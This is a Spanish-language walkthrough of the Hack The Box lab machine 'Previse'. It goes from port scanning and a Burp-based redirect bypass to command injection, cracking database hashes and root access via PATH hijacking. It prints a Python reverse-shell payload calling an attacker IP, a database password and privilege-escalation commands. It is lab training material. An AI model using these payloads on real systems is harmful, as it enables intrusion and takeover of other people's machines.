Previse - Hack The Box

4 minute read

  4 minute read

Iniciamos con un escaneo básico de puertos con nmap

~$> sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.104
  • -p- -> Todo el rango de puertos (1-65535)
  • -sS -> TCP SYN/PORT scan
  • --min-rate -> Mínimo de paquetes que quiero que se emitan por segundo (5000)
  • --open -> Mostrar solo puertos abiertos
  • -vvv -> Triple verbose para ver los avances del escaneo antes de que acabe
  • -n -> Quitar la resolución DNS
  • -Pn -> Para no aplicar host discovery

Vemos que hay 2 puertos externamente visibles:

  • 80 -> http
  • 22 -> ssh

Conociendo que hay un servicio web http corriendo, vamos a verlo desde el navegador

Despues de probar algunas inyecciones de diferentes tipos contra el panel de login, ninguna funcionaba, por lo que apliqué fuzzing con wfuzz en busqueda de archivos .php

~$> wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.104/FUZZ.php
  • -c -> Formato colorizado
  • --hc -> Ocultando las respuestas con el código de estado 404
  • -w -> Wordlist
  • FUZZ -> Lugar donde se aplicara el fuzzing

Encontrando lo siguiente:

Si nos dirigimos al nav.php en el navegador, vemos un panel de navegación con algunas opciones interesantes

Pero si intentamos entrar en alguna de estas secciones, el servidor nos redirige al panel de login, por lo que viendo esto se me ocurrió abrir el Burpsuite para interceptar la petición e intentar forzar un código de estado 200 Ok

  • Primero definimos el scope:

    Esto para que no intercepte peticiones de sitios diferentes al que queremos

  • Despues de esto y con el intercept on, interceptamos la petición de create account

  • Configuramos el Burpsuite para poder modificar la respuesta, para posteriormente enviarla

  • Seguimos la petición en forward

  • Cambiamos el 302 Found por un 200 Ok

Luego de esto podemos ver como en la web se nos dirige a un portal donde podemos crear un usuario, así que creamos uno

Y vemos que se nos redirige nuevamente al panel de login del inicio, entonces ingresamos el usuario creado previamente

Y entramos!

Una vez dentro, nos dirigimos al apartado de files y descargamos el SITEBACKUP.ZIP que encontramos ahí

Lo descomprimimos

~$> unzip siteBackup.zip

Aquí encontramos varios ficheros de los cuales uno es un config.php el cual contiene credenciales para la base de datos

~$> cat config.php

Además de este archivo de configuración, encontramos un logs.php con información interesante

~$> cat logs.php

En este script podemos ver que con python se ejecuta un script (log_process.py) el cual necesita de un argumento que recibe por medio del parametro delim por el cual podríamos inyectar algún comando

  • Vamos a LOG DATA

  • Damos a SUBMIT e interceptamos la petición, nuevamente con Burpsuite

  • Identificamos el campo vulnerable que previamente habíamos encontrado (delim)

  • Como vimos antes, este parametro no está bien sanitizado en el código, por lo que podemos inyectar una instrucción usando un ; de la siguiente manera:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[TU_IP]",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

De esta manera nos podremos enviar una shell a nuestro equípo por el puerto 443, así que nos ponemos en escucha con netcat antes de enviar la respuesta

~$> nc -nlvp 443

Damos en forward

Y vemos nuestro listener

Luego de hacer un tratamiento de la tty, recordé las credenciales que habíamos encontrado previamente en el archivo config.php, así que me conecté con mysql

www-data@previse:/var/www/html$ mysql -uroot -pmySQL_p@ssw0rd\!:\)

Listamos las bases de datos

mysql> show databases;

Y vemos una con nombre previse, la seleccionamos

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Si listamos las tablas

mysql> show tables;

Encontramos una interesante (accounts), listamos el contenido

mysql> select * from accounts;

De esta forma logramos ver dos hashes, el del usuario que registramos en el inicio y el de **m4lwhere**

Así que guardamos el primer hash en un fichero en nuestra máquina para despues crackearlo, en mi caso con john

~$> john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=md5crypt-long

Y despúes de un rato, obtenemos una contraseña la cual nos sirve para conectarnos por ssh

~$> ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:

Vemos si podemos hacer algo como otro usuario del sistema

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Y encontramos un script que podemos ejecutar como el usuario root

Si lo leemos

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh

Podemos rápidamente darnos cuenta de que se está llamando a el comando gzip de forma relativa, por lo que ya sabemos que podemos hacer un Path Hijacking para obtener el root

  • Primero ejecutamos el siguiente comando para insertar la instrucción que convertira la /bin/bash en SUID, dentro de un fichero que se llame gzip
m4lwhere@previse:~$ echo -e "#\!/bin/bash\nchmod 4755 /bin/bash" > gzip
  • Le asignamos permisos de ejecución al fichero que acabamos de crear
m4lwhere@previse:~$ chmod +x gzip
  • Alteramos el path, para que en lugar de empezar buscando el binario gzip en /usr/local/sbin, use el que acabamos de crear en el directorio actual, esto de la siguiente forma:
m4lwhere@previse:~$ export PATH=.:$PATH
  • Y ejecutamos el script como el usuario root
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

Por último ejecutamos una bash atendiendo al permiso SUID que se le acaba de asignar

m4lwhere@previse:~$ bash -p
bash-4.4#

Y ahora somos root

bash-4.4# whoami
root

:>